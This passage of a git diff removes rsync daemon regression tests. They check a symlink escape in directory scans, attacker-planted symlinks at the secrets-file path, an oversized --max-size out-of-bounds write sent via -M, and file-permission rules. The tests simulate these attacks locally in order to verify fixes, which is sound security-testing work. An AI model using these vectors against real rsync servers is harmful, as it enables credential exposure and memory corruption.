shallower.\")\n-print(\"daemon-scan-cwd-desync-escape: in-module content served correctly through \"\n-      \"a cwd-desyncing symlink (scan stayed anchored at the module root)\")\ndiff --git a/testsuite/daemon-scan-dir-escape_test.py b/testsuite/daemon-scan-dir-escape_test.py\ndeleted file mode 100644\nindex dccd17e..0000000\n--- a/testsuite/daemon-scan-dir-escape_test.py\n+++ /dev/null\n@@ -1,99 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon sender must not let a symlink-following mode (-L / --copy-dirlinks /\n-# --copy-unsafe-links) escape the served MODULE during the directory scan.\n-#\n-# The content open is confined beneath module_dir even in these modes\n-# (sender_open_copylinks_confined), but the directory ENUMERATION (opendir(fbuf)\n-# in flist.c send_directory) was only confined in the default no-follow mode.\n-# So a daemon module containing an in-module symlinked directory that points\n-# OUTSIDE the module, pulled with --copy-dirlinks, made the sender follow it and\n-# enumerate the out-of-module directory, leaking its entry names, metadata and\n-# (preserved) symlink targets to the client -- even though the content open\n-# refuses the out-of-module file data.\n-#\n-# Deterministic: a STATIC in-module symlink, no race.  --copy-dirlinks descends\n-# the symlinked directory (the escape vector) but preserves file symlinks under\n-# it, so an out-of-module symlink whose target is a unique marker proves the\n-# enumeration -- not the content open -- escaped the module.  FAILS before the\n-# daemon-follow-mode confinement; PASSES once the enumeration is confined beneath\n-# module_dir in following modes too (still following in-module symlinks, refusing\n-# module escapes).\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, get_rootgid, get_rootuid, get_testuid, makepath, rmtree,\n-    run_rsync, start_test_daemon, test_fail,\n-)\n-\n-DAEMON_PORT = 12947\n-MARKER = \"XFIL-OUTSIDE-MODULE-SYMLINK-TARGET\"\n-\n-base = SCRATCHDIR / 'daemon-scan-escape'\n-rmtree(base)\n-mod = base / 'mod'              # the served module\n-outside = base / 'outside'      # OUTSIDE the module (a sibling of mod/)\n-dest = base / 'dest'\n-makepath(mod / 'real', outside, dest)\n-\n-# Legitimate in-module content (sanity: the transfer runs and --copy-dirlinks\n-# is active).\n-(mod / 'real' / 'in.txt').write_text(\"in-module\\n\")\n-\n-# The escape vector: an in-module symlink to a DIRECTORY outside the module.\n-# --copy-dirlinks treats it as a directory and descends it.\n-os.symlink('../outside', mod / 'escape')\n-\n-# Out-of-module sentinels.  xfil_link is a FILE symlink (not dereferenced by\n-# --copy-dirlinks), so its marker target is transferred verbatim via readlinkat\n-# during the scan -- a pure enumeration signal.  The dir/file names are\n-# secondary signals.\n-os.symlink(MARKER, outside / 'xfil_link')\n-(outside / 'xfil_dir').mkdir()\n-(outside / 'xfil_dir' / 'inner').write_text(\"x\\n\")\n-(outside / 'xfil_file').write_text(\"x\\n\")\n-\n-# A use-chroot=no daemon drops to nobody under a root test run and can't read a\n-# root-owned module, so as root we pin it to root (as build_rsyncd_conf does);\n-# off-root it runs as us and must not set uid/gid, so those lines simply vanish.\n-root = get_testuid() == get_rootuid()\n-ids = f\"uid = {get_rootuid()}\\ngid = {get_rootgid()}\" if root else \"\"\n-\n-conf = base / 'daemon-scan.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {base}/rsyncd.pid\n-use chroot = no\n-{ids}\n-log file = {base}/rsyncd.log\n-\n-[m]\n-    path = {mod}\n-    read only = yes\n-    hosts allow = 127.0.0.1\n-\"\"\")\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# --copy-dirlinks makes the daemon sender descend the symlinked 'escape' dir.\n-# check=False: with the fix the escape is refused, which may surface as a\n-# per-entry error; assert on the resulting tree either way.\n-run_rsync('-a', '--copy-dirlinks', f'{url}m/', f'{dest}/', check=False)\n-\n-esc = dest / 'escape'\n-leak = None\n-link = esc / 'xfil_link'\n-if link.is_symlink() and os.readlink(link) == MARKER:\n-    leak = f\"symlink target leaked: dest/escape/xfil_link -> {MARKER}\"\n-else:\n-    for name in ('xfil_dir', 'xfil_file', 'xfil_link'):\n-        if (esc / name).exists() or (esc / name).is_symlink():\n-            leak = f\"out-of-module name leaked: dest/escape/{name}\"\n-            break\n-\n-if leak is not None:\n-    test_fail(\n-        \"daemon directory-enumeration escaped the module in a symlink-following \"\n-        f\"mode: the sender followed an in-module symlink out of the module and \"\n-        f\"copied an out-of-module entry to the client ({leak}).  send_directory's \"\n-        \"enumeration must stay confined beneath module_dir in following modes \"\n-        \"too, like the content open.\")\n-print(\"daemon-scan-dir-escape: --copy-dirlinks enumeration stayed within the module\")\ndiff --git a/testsuite/daemon-secrets-file-symlink_test.py b/testsuite/daemon-secrets-file-symlink_test.py\ndeleted file mode 100644\nindex 1a2a2c6..0000000\n--- a/testsuite/daemon-secrets-file-symlink_test.py\n+++ /dev/null\n@@ -1,157 +0,0 @@\n-#!/usr/bin/env python3\n-# Daemon 'secrets file = PATH' must not follow planted symlinks at attacker-\n-# controlled path components.\n-#\n-# Companion to password-file-symlink (which covers the CLIENT --password-file);\n-# this covers the DAEMON-side 'secrets file' open in authenticate.c. Same path-\n-# walk helper (open_no_attacker_symlinks), exercised directly here because\n-# the daemon secrets read is a distinct call site with its own leak signal.\n-#\n-# Threat: the daemon opens 'secrets file' to authenticate a client. A symlink\n-# planted at that path (or a parent component) by another uid redirects the read\n-# to an attacker-chosen file. The strict-modes fstat() runs on the *target*\n-# inode, so a symlink to e.g. /etc/shadow (root-owned, not other-readable) would\n-# pass the owner/mode check and the daemon would auth against the target's\n-# contents.\n-#\n-# Leak signal: the planted symlink points at a victim secrets file (root:0600)\n-# whose contents ARE a known user:password. If the daemon follows it, a client\n-# authenticating with that password SUCCEEDS -> leak observed. With the fix the\n-# planted symlink is refused (\"no secrets file\"), so auth fails.\n-#\n-# Both leaf and parent-component variants are exercised (the parent case is the\n-# /tmp/somedir/ class that a leaf-only O_NOFOLLOW does not defend).\n-#\n-# Requires root (to lchown the planted symlink to a non-self uid -- the attacker\n-# simulation); skips otherwise.\n-\n-import os\n-import pwd\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12903\n-USER = 'tuser'\n-CORRECT_PASSWORD = 'correctpass'\n-\n-\n-if os.geteuid() != 0:\n-    test_skipped(\"requires root to plant a symlink owned by a non-self uid \"\n-                 \"(the attacker simulation)\")\n-\n-NOBODY_UID = None\n-for name in ('nobody', 'nfsnobody', 'daemon'):\n-    try:\n-        u = pwd.getpwnam(name).pw_uid\n-        if u != 0 and u != os.geteuid():\n-            NOBODY_UID = u\n-            break\n-    except KeyError:\n-        continue\n-if NOBODY_UID is None:\n-    test_skipped(\"no untrusted-uid user available for cross-uid plant\")\n-\n-# Prevent rsync's interactive getpass() fallback if no password is read.\n-os.environ['RSYNC_PASSWORD'] = 'env-fallback-wrong'\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=1)\n-\n-base = SCRATCHDIR / 'secretsplant'\n-rmtree(base)\n-base.mkdir()\n-\n-# The victim secrets file: root-owned, 0600, contents == a valid credential.\n-# A daemon that follows a planted symlink to this file authenticates the client.\n-victim = base / 'victim_secrets'\n-victim.write_text(f'{USER}:{CORRECT_PASSWORD}\\n')\n-os.chmod(victim, 0o600)\n-os.chown(victim, 0, 0)\n-\n-# Leaf plant: a symlink AT the secrets-file path, owned by the attacker uid.\n-leaf_plant = base / 'secrets_leaf'\n-os.symlink(victim, leaf_plant)\n-os.lchown(leaf_plant, NOBODY_UID, NOBODY_UID)\n-\n-# Parent-component plant: secrets file = <parent_link>/victim_in_target, where\n-# parent_link is an attacker-owned symlink to a real directory holding the\n-# victim secrets. A leaf-only O_NOFOLLOW does not defend this; only the per-\n-# component owner-checked walk does.\n-parent_real = base / 'parent_real'\n-parent_real.mkdir()\n-victim_in_target = parent_real / 'victim_in_target'\n-victim_in_target.write_text(f'{USER}:{CORRECT_PASSWORD}\\n')\n-os.chmod(victim_in_target, 0o600)\n-os.chown(victim_in_target, 0, 0)\n-parent_plant = base / 'parent_link'\n-os.symlink(parent_real, parent_plant)\n-os.lchown(parent_plant, NOBODY_UID, NOBODY_UID)\n-\n-authreal = base / 'authreal'\n-authleaf = base / 'authleaf'\n-authparent = base / 'authparent'\n-makepath(authreal, authleaf, authparent)\n-\n-conf = write_daemon_conf([\n-    # Sanity module: a real (non-symlinked) root:0600 secrets file authenticates.\n-    ('authreal', {'path': authreal, 'read only': 'no',\n-                  'auth users': USER, 'secrets file': victim}),\n-    # Leak modules: the secrets file is reached through an attacker-owned symlink.\n-    ('authleaf', {'path': authleaf, 'read only': 'no',\n-                  'auth users': USER, 'secrets file': leaf_plant}),\n-    ('authparent', {'path': authparent, 'read only': 'no',\n-                    'auth users': USER,\n-                    'secrets file': parent_plant / 'victim_in_target'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-userurl = url.replace('rsync://', f'rsync://{USER}@', 1)\n-\n-pwfile = SCRATCHDIR / 'pw.ok'\n-pwfile.write_text(CORRECT_PASSWORD + '\\n')\n-pwfile.chmod(0o600)\n-\n-\n-def push(module, dest):\n-    rmtree(dest)\n-    makepath(dest)\n-    return subprocess.run(\n-        rsync_argv('-a', f'--password-file={pwfile}',\n-                   f'{src}/', f'{userurl}{module}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)\n-\n-\n-# Sanity: the real secrets file authenticates (demonstrates the machinery;\n-# success against a planted symlink is then the leak signal).\n-sanity = push('authreal', authreal)\n-if sanity.returncode != 0:\n-    test_fail(\n-        \"sanity check failed: a non-symlinked root:0600 secrets file with the \"\n-        f\"correct credential could not authenticate. stderr: {sanity.stderr!r}\")\n-\n-# Leaf plant: success means the daemon followed the attacker-owned symlink.\n-leaf = push('authleaf', authleaf)\n-if leaf.returncode == 0:\n-    test_fail(\n-        f\"daemon 'secrets file' followed a planted LEAF symlink (owned by uid \"\n-        f\"{NOBODY_UID}): {leaf_plant} -> {victim} was read as the secrets DB and \"\n-        f\"the client authenticated -> transfer succeeded. Fix: refuse planted \"\n-        f\"symlinks at the daemon secrets-file open.\")\n-\n-# Parent-component plant: success means the daemon traversed the attacker-owned\n-# parent symlink.\n-parent = push('authparent', authparent)\n-if parent.returncode == 0:\n-    test_fail(\n-        f\"daemon 'secrets file' followed a planted PARENT-component symlink \"\n-        f\"(owned by uid {NOBODY_UID}): {parent_plant} -> {parent_real} was \"\n-        f\"traversed and victim_in_target read as the secrets DB; the client \"\n-        f\"authenticated -> transfer succeeded. This is the /tmp/somedir/-class \"\n-        f\"parent-flip case. Fix: per-component path walk refusing parent \"\n-        f\"symlinks owned by untrusted uids.\")\n-\n-print(\"daemon-secrets-file-symlink: leaf + parent plants refused\")\ndiff --git a/testsuite/daemon-size-arg-overflow_test.py b/testsuite/daemon-size-arg-overflow_test.py\ndeleted file mode 100644\nindex a0ba914..0000000\n--- a/testsuite/daemon-size-arg-overflow_test.py\n+++ /dev/null\n@@ -1,76 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for an out-of-bounds write in options.c parse_size_arg().\n-#\n-# C99 snprintf() returns the number of bytes it *would* have written, so when\n-# a daemon client supplies an oversized --max-size / --min-size / --bwlimit /\n-# --block-size / --max-alloc value (each daemon arg may be up to\n-# BIGPATHBUFLEN-1 = 5119 bytes via read_args), the `len` at the failure: label\n-# can far exceed sizeof err_buf (200). The trailing\n-#     err_buf[len] = '\\n'; err_buf[len+1] = '\\0';\n-# then writes 0x0A,0x00 at an attacker-chosen offset thousands of bytes past\n-# err_buf into adjacent .bss. Reachable from an unauthenticated client against\n-# any daemon module before chroot/privilege-drop.\n-#\n-# The client itself parses --max-size locally and would reject the oversized\n-# value before connecting, so we forward it to the *daemon's* option parser\n-# with -M (--remote-option), which the client passes through unparsed.\n-#\n-# Oracle:\n-#   * fixed:   parse_size_arg() clamps `len` to sizeof err_buf - 2 before the\n-#              trailing writes; the daemon rejects the value with a clean\n-#              \"--max-size=... is invalid\" error and stays alive.\n-#   * pre-fix: the OOB .bss write corrupts adjacent globals. On a normal build\n-#              this may not fault deterministically, but under ASAN it is a\n-#              hard global-buffer-overflow abort of the daemon child. This test\n-#              therefore asserts the GREEN behaviour (clean reject, no crash)\n-#              on every build and is a true RED detector under the ASAN matrix.\n-\n-import re\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12939\n-\n-mod = SCRATCHDIR / 'sizemod'\n-rmtree(mod)\n-makepath(mod)\n-(mod / 'f.txt').write_text(\"data\\n\")\n-\n-conf = write_daemon_conf([\n-    ('mod', {'path': str(mod), 'read only': 'yes'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-dst = SCRATCHDIR / 'sizeout'\n-rmtree(dst)\n-makepath(dst)\n-\n-big = '9' * 5000  # >> sizeof err_buf (200); ~4.9 KB past err_buf if unclamped\n-\n-proc = subprocess.run(\n-    rsync_argv('-a', f'-M--max-size={big}', f'{url}mod/', f'{dst}/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-\n-# parse_size_arg() builds the \"--max-size=<value> is invalid\" message in\n-# err_buf and only THEN does the (pre-fix) out-of-bounds err_buf[len] write,\n-# before returning -1 to the option-error reporter that forwards err_buf to\n-# the client. So the daemon echoing the rejected --max-size value back is\n-# proof it ran parse_size_arg to completion without faulting on the trailing\n-# write. (On a normal build the OOB write lands silently in .bss, so pre- and\n-# post-fix look identical here and the test passes either way; under the ASAN\n-# matrix the pre-fix write is a hard global-buffer-overflow abort that happens\n-# BEFORE err_buf is reported, so the value never comes back and this assert\n-# fires -- that is the RED signal.)\n-out = proc.stdout\n-if not re.search(r'--max-size=9{100,}', out):\n-    test_fail(\n-        \"daemon did not echo back the rejected oversized --max-size value \"\n-        f\"(rc={proc.returncode}); parse_size_arg likely aborted on the \"\n-        f\"unclamped err_buf[len] out-of-bounds write.\\noutput:\\n{out}\")\n-\n-print(\"daemon-size-arg-overflow: oversized --max-size rejected by the daemon \"\n-      \"after parse_size_arg ran to completion (err_buf length is clamped).\")\ndiff --git a/testsuite/daemon-standalone-detach_test.py b/testsuite/daemon-standalone-detach_test.py\ndeleted file mode 100644\nindex 4f7bfb8..0000000\n--- a/testsuite/daemon-standalone-detach_test.py\n+++ /dev/null\n@@ -1,137 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: standalone detaching listener.\n-\n-Every other daemon test spawns rsyncd with `--no-detach --address=127.0.0.1\n---port=N`, so daemon_main()'s detach path and the rsyncd.conf port/address\n-parameters are never reached:\n-\n-  clientserver.c become_daemon()   -- only when --no-detach is NOT given\n-  daemon-parm.h  lp_rsync_port()   -- only when --port is NOT given\n-  daemon-parm.h  lp_bind_address() -- only when --address is NOT given\n-\n-This test spawns `rsync --daemon --config=<conf>` with NONE of those flags,\n-reads port/address from the conf file, waits for the detached child to write\n-its pid file and start listening, does one transfer, then kills it via the\n-pid file.  require_tcp-gated (it opens a real loopback listener).\n-\"\"\"\n-\n-import os\n-import platform\n-import shlex\n-import signal\n-import socket\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    FROMDIR, RSYNC_PEER, SCRATCHDIR,\n-    claim_ports, make_tree, makepath, require_tcp, rmtree, rsync_argv,\n-    test_fail, test_skipped, write_daemon_conf, split_rsync_cmd,\n-)\n-\n-# A standalone --daemon detaches via become_daemon(); on cygwin that becomes a\n-# disconnected Windows process the harness can't reap, so it lingers as an orphan\n-# squatting its port and poisoning later TCP daemon tests.  Skip on cygwin.\n-if platform.system().startswith('CYGWIN'):\n-    test_skipped(\"a detached daemon orphans on cygwin's Windows process model\")\n-\n-PORT = 19877\n-require_tcp(\"standalone detaching daemon opens a real loopback listener; \"\n-            \"run with --use-tcp\")\n-claim_ports(PORT)\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-dest = SCRATCHDIR / 'dest-detach'\n-makepath(dest)\n-\n-pidfile = SCRATCHDIR / 'detach.pid'\n-logfile = SCRATCHDIR / 'detach.log'\n-for p in (pidfile, logfile):\n-    if p.exists():\n-        p.unlink()\n-\n-conf = write_daemon_conf(\n-    [('mod', {'path': str(dest), 'read only': 'no', 'use chroot': 'no'})],\n-    globals={\n-        # These two are the point of the test: read from the conf, not CLI.\n-        'port': str(PORT),\n-        'address': '127.0.0.1',\n-        'pid file': str(pidfile),\n-        'log file': str(logfile),\n-    },\n-    name='detach.conf',\n-)\n-\n-# Spawn WITHOUT --no-detach / --port / --address.  The launched process is\n-# become_daemon()'s PARENT: it forks, gcov_flush()es, and _exit(0)s\n-# immediately; the detached CHILD writes the pid file and listens.\n-launcher = subprocess.run(\n-    split_rsync_cmd(RSYNC_PEER) + ['--daemon', f'--config={conf}'],\n-    capture_output=True, text=True, timeout=15,\n-)\n-if launcher.returncode != 0:\n-    test_fail(f\"daemon launcher exited {launcher.returncode}:\\n{launcher.stderr}\")\n-\n-\n-def kill_detached():\n-    try:\n-        pid = int(pidfile.read_text().strip())\n-    except (FileNotFoundError, ValueError):\n-        return\n-    try:\n-        os.kill(pid, signal.SIGTERM)\n-        for _ in range(50):\n-            try:\n-                os.kill(pid, 0)\n-            except ProcessLookupError:\n-                return\n-            time.sleep(0.05)\n-        os.kill(pid, signal.SIGKILL)\n-    except ProcessLookupError:\n-        pass\n-\n-\n-import atexit\n-atexit.register(kill_detached)\n-\n-# Wait for the detached child: pid file written AND port accepting.\n-deadline = time.monotonic() + 10\n-while time.monotonic() < deadline:\n-    if pidfile.is_file():\n-        try:\n-            with socket.create_connection(('127.0.0.1', PORT), timeout=0.5):\n-                break\n-        except OSError:\n-            pass\n-    time.sleep(0.05)\n-else:\n-    test_fail(f\"detached rsyncd never listened on 127.0.0.1:{PORT} \"\n-              f\"(pidfile={'present' if pidfile.is_file() else 'absent'}; \"\n-              f\"log:\\n{logfile.read_text() if logfile.is_file() else '(none)'})\")\n-\n-# Verify the log shows the conf-supplied port (lp_rsync_port path).\n-log = logfile.read_text()\n-if f'listening on port {PORT}' not in log:\n-    test_fail(f\"expected 'listening on port {PORT}' in detach.log:\\n{log}\")\n-\n-# One real transfer through the per-connection accept-loop child.\n-r = subprocess.run(\n-    rsync_argv('-r', f'{src}/', f'rsync://127.0.0.1:{PORT}/mod/'),\n-    capture_output=True, text=True,\n-)\n-if r.returncode != 0:\n-    test_fail(f\"push to detached daemon failed (rc={r.returncode}):\\n{r.stderr}\")\n-if not any(dest.iterdir()):\n-    test_fail(\"push to detached daemon wrote nothing\")\n-\n-# Clean shutdown via SIGTERM -> exit_cleanup -> gcov_flush in the\n-# called_from_signal_handler path (cleanup.c).  The daemon removes its own\n-# pid file on the way out, so capture it first.\n-detached_pid = pidfile.read_text().strip()\n-kill_detached()\n-atexit.unregister(kill_detached)\n-\n-print(f\"daemon-standalone-detach: become_daemon + conf port/address + \"\n-      f\"accept-loop transfer ok (pid {detached_pid})\")\ndiff --git a/testsuite/daemon-stdin-local-socket_test.py b/testsuite/daemon-stdin-local-socket_test.py\ndeleted file mode 100644\nindex fc240ad..0000000\n--- a/testsuite/daemon-stdin-local-socket_test.py\n+++ /dev/null\n@@ -1,35 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A local stdin socket must not make a standalone daemon enter inetd mode.\"\"\"\n-\n-import socket\n-\n-from rsyncfns import (\n-    RSYNC, SCRATCHDIR, claim_free_port, rmtree, start_rsyncd,\n-    test_skipped, write_daemon_conf,\n-)\n-\n-if not hasattr(socket, 'AF_UNIX') or not hasattr(socket, 'socketpair'):\n-    test_skipped('Unix-domain socket pairs are unavailable')\n-\n-base = SCRATCHDIR / 'daemon-stdin-local-socket'\n-rmtree(base)\n-module = base / 'module'\n-module.mkdir(parents=True)\n-conf = write_daemon_conf([\n-    ('module', {'path': str(module), 'read only': 'yes'}),\n-])\n-port = claim_free_port(12979)\n-\n-try:\n-    parent, child = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)\n-except (OSError, ValueError) as e:\n-    test_skipped(f'Unix-domain socket pairs are unavailable: {e}')\n-try:\n-    # ADB shell without a PTY similarly presents a local socket as fd 0. The\n-    # local socket must not be mistaken for an inetd connection.\n-    start_rsyncd(conf, port, rsync_cmd=RSYNC, stdin=child)\n-finally:\n-    child.close()\n-    parent.close()\n-\n-print('daemon ignores a local stdin socket when selecting inetd mode')\ndiff --git a/testsuite/daemon-stdin-unix-listener_test.py b/testsuite/daemon-stdin-unix-listener_test.py\ndeleted file mode 100644\nindex 3c18f57..0000000\n--- a/testsuite/daemon-stdin-unix-listener_test.py\n+++ /dev/null\n@@ -1,84 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A named Unix listener on stdin selects inetd-style daemon mode.\"\"\"\n-\n-import os\n-import socket\n-import subprocess\n-import sys\n-import tempfile\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_free_port, rmtree, rsync_argv, test_fail,\n-    test_skipped, write_daemon_conf,\n-)\n-\n-if not hasattr(socket, 'AF_UNIX'):\n-    test_skipped('Unix-domain sockets are unavailable')\n-if sys.platform == 'cygwin':\n-    test_skipped('Cygwin cannot pass a named Unix listener as daemon stdin')\n-\n-base = SCRATCHDIR / 'daemon-stdin-unix-listener'\n-rmtree(base)\n-module = base / 'module'\n-module.mkdir(parents=True)\n-conf = write_daemon_conf([\n-    ('module', {'path': str(module), 'read only': 'yes'}),\n-])\n-port = claim_free_port(12980)\n-\n-\n-def check_listener(address, label):\n-    listener = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n-    client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n-    child = None\n-    proc = None\n-    try:\n-        try:\n-            listener.bind(address)\n-            listener.listen(1)\n-            client.connect(address)\n-            child, _ = listener.accept()\n-        except (OSError, ValueError) as e:\n-            test_skipped(f'{label} Unix listener is unavailable: {e}')\n-\n-        proc = subprocess.Popen(\n-            rsync_argv('--daemon', '--no-detach', f'--config={conf}',\n-                       f'--port={port}'),\n-            stdin=child.fileno(), stdout=child.fileno(),\n-            stderr=subprocess.PIPE, close_fds=True,\n-        )\n-        child.close()\n-        child = None\n-\n-        client.settimeout(2)\n-        try:\n-            greeting = client.recv(256)\n-        except socket.timeout:\n-            test_fail(f'{label}: daemon did not greet the accepted Unix connection')\n-        if not greeting.startswith(b'@RSYNCD:'):\n-            test_fail(f'{label}: unexpected daemon greeting: {greeting!r}')\n-    finally:\n-        if child is not None:\n-            child.close()\n-        client.close()\n-        listener.close()\n-        if proc is not None:\n-            try:\n-                proc.wait(timeout=2)\n-            except subprocess.TimeoutExpired:\n-                proc.terminate()\n-                try:\n-                    proc.wait(timeout=2)\n-                except subprocess.TimeoutExpired:\n-                    proc.kill()\n-                    proc.wait(timeout=2)\n-\n-\n-with tempfile.TemporaryDirectory(prefix='rsync-listener-') as tmpdir:\n-    check_listener(f'{tmpdir}/rsyncd.sock', 'filesystem')\n-\n-if sys.platform.startswith('linux'):\n-    # A leading NUL selects Linux's abstract Unix namespace.\n-    check_listener(f'\\0rsync-stdin-listener-{os.getpid()}', 'abstract')\n-\n-print('named Unix stdin listeners select inetd-style daemon mode')\ndiff --git a/testsuite/daemon-strict-modes-matrix_test.py b/testsuite/daemon-strict-modes-matrix_test.py\ndeleted file mode 100644\nindex 6e7f666..0000000\n--- a/testsuite/daemon-strict-modes-matrix_test.py\n+++ /dev/null\n@@ -1,141 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Pin the EXACT secrets-file permission contract enforced by `strict modes`.\n-\n-The rsyncd.conf(5) `strict modes` entry says the secrets file \"must not be\n-readable by any user ID other than the one that the rsync daemon is running\n-under\".  That is not what the code does.  check_secret() (authenticate.c) only\n-rejects the file when:\n-\n-    (st.st_mode & 06) != 0          -> other-READ or other-WRITE bit set\n-  OR (daemon running as root AND the file is not owned by root)\n-\n-So group permissions are never consulted, and even an other-EXECUTE-only bit is\n-ignored.  A group-readable secrets file is ACCEPTED, directly contradicting the\n-\"any user ID other than\" wording.  This test measures accept/reject across a\n-mode sweep so the behaviour is unambiguous and the doc can be made to match it.\n-\n-Auth runs inside the daemon protocol, so the default stdio-pipe transport is\n-fine (no TCP needed).  The owner-mismatch row needs the daemon to run as root\n-plus an unprivileged uid to chown to, so it is gated on both.\n-\n-Cross-version: the `& 06` test is long-standing, so running this with\n-`--rsync-bin=old_versions/rsync_3.2.7` is expected to reproduce the same grid --\n-i.e. the doc has been imprecise for many releases, this is not a regression.\n-Set REPORT_MODES=1 to dump the observed grid (via test_fail) for eyeballing.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    find_attacker_uid, make_tree, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12910\n-\n-# Never let a rejected secrets file fall through to an interactive getpass()\n-# on /dev/tty (which would hang an automated run): give a wrong env password so\n-# the client always has something to send and never prompts.\n-os.environ['RSYNC_PASSWORD'] = 'env-fallback-wrong'\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-\n-authdir = SCRATCHDIR / 'strictdest'\n-secrets = SCRATCHDIR / 'rsyncd.strict.secrets'\n-secrets.write_text('tuser:secretpass\\n')\n-secrets.chmod(0o600)\n-\n-# Two modules: strict modes on (default) and off, same secrets file.\n-conf = write_daemon_conf([\n-    ('strict', {'path': str(authdir), 'read only': 'no',\n-                'auth users': 'tuser', 'secrets file': str(secrets),\n-                'strict modes': 'yes'}),\n-    ('loose',  {'path': str(authdir), 'read only': 'no',\n-                'auth users': 'tuser', 'secrets file': str(secrets),\n-                'strict modes': 'no'}),\n-], name='strict-modes.conf')\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def pwfile():\n-    p = SCRATCHDIR / 'pw.strict'\n-    p.write_text('secretpass\\n')\n-    p.chmod(0o600)\n-    return p\n-\n-\n-PW = pwfile()\n-\n-\n-def accepted(module):\n-    \"\"\"Push with the correct password; True == the daemon honoured the secrets\n-    file (auth succeeded), False == it ignored/rejected it (auth failed).\"\"\"\n-    rmtree(authdir)\n-    makepath(authdir)\n-    userurl = url.replace('rsync://', 'rsync://tuser@', 1)\n-    proc = subprocess.run(\n-        rsync_argv('-a', f'--password-file={PW}', f'{src}/', f'{userurl}{module}/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-        stdin=subprocess.DEVNULL)\n-    return proc.returncode in (0, 23)\n-\n-\n-# (mode, expected-accepted-under-strict-modes, human note)\n-MODE_GRID = [\n-    (0o600, True,  'owner rw only'),\n-    (0o400, True,  'owner r only'),\n-    (0o640, True,  'group READ -> still accepted (group bits unchecked)'),\n-    (0o660, True,  'group rw -> accepted'),\n-    (0o610, True,  'group exec -> accepted'),\n-    (0o601, True,  'other EXEC only -> accepted (& 06 ignores the x bit)'),\n-    (0o604, False, 'other READ -> rejected'),\n-    (0o602, False, 'other WRITE -> rejected'),\n-    (0o606, False, 'other rw -> rejected'),\n-    (0o644, False, 'world-readable -> rejected'),\n-    (0o666, False, 'world rw -> rejected'),\n-]\n-\n-grid, mism = [], []\n-for mode, want, note in MODE_GRID:\n-    secrets.chmod(mode)\n-    got = accepted('strict')\n-    grid.append(f\"strict 0{mode:04o} accepted={int(got)} want={int(want)}  {note}\")\n-    if got != want:\n-        mism.append(f\"strict modes, 0{mode:04o}: accepted={got}, expected={want} ({note})\")\n-\n-# strict modes = no: even a world-rw secrets file is honoured.\n-secrets.chmod(0o666)\n-got = accepted('loose')\n-grid.append(f\"loose  00666 accepted={int(got)} want=1  strict modes=no skips the check\")\n-if not got:\n-    mism.append(\"strict modes=no still rejected a 0666 secrets file\")\n-\n-# Owner mismatch is only enforced when the daemon runs as root.\n-ATT = find_attacker_uid() if os.geteuid() == 0 else None\n-if ATT is not None:\n-    secrets.chmod(0o600)\n-    os.chown(secrets, ATT, ATT)        # 0600 but NOT owned by root\n-    got = accepted('strict')\n-    grid.append(f\"strict 00600 owner={ATT} accepted={int(got)} want=0  \"\n-                f\"non-root owner rejected when daemon is root\")\n-    if got:\n-        mism.append(\"strict modes accepted a non-root-owned secrets file under a root daemon\")\n-    os.chown(secrets, 0, 0)\n-else:\n-    grid.append(\"strict owner-mismatch row SKIPPED (needs root daemon + unprivileged uid)\")\n-\n-secrets.chmod(0o600)\n-\n-if os.environ.get('REPORT_MODES'):\n-    test_fail(\"REPORT-MODES grid:\\n  \" + \"\\n  \".join(grid))\n-if mism:\n-    test_fail(\"strict-modes contract deviated:\\n  \" + \"\\n  \".join(mism))\n-\n-print(\"daemon-strict-modes-matrix: secrets-file accept/reject pinned -- only \"\n-      \"other-read/other-write (st_mode & 06) and (under a root daemon) a \"\n-      \"non-root owner are rejected; group bits and other-exec are NOT checked, \"\n-      \"so a group-readable secrets file is accepted\")\ndiff --git a/testsuite/daemon-subdir-climb-symlink_test.py b/testsuite/daemon-subdir-climb-symlink_test.py\ndeleted file mode 100644\nindex 1019f93..0000000\n--- a/testsuite/daemon-subdir-climb-symlink_test.py\n+++ /dev/null\n@@ -1,63 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression: a daemon subdir pull in a symlink-following mode must still follow\n-# an IN-MODULE symlink whose relative target climbs with \"..\" to a sibling that\n-# stays inside the module.\n-#\n-# The directory-enumeration confinement must use the same module-root anchor as\n-# the content open (sender_open_copylinks_confined anchors at module_dir).  A\n-# daemon chdir's into the requested subdir (do_server_sender, main.c), so\n-# anchoring the scan at the cwd instead of module_dir would wrongly refuse\n-# \"sub/climb -> ../sibling\" -- which resolves to module/sibling, still inside 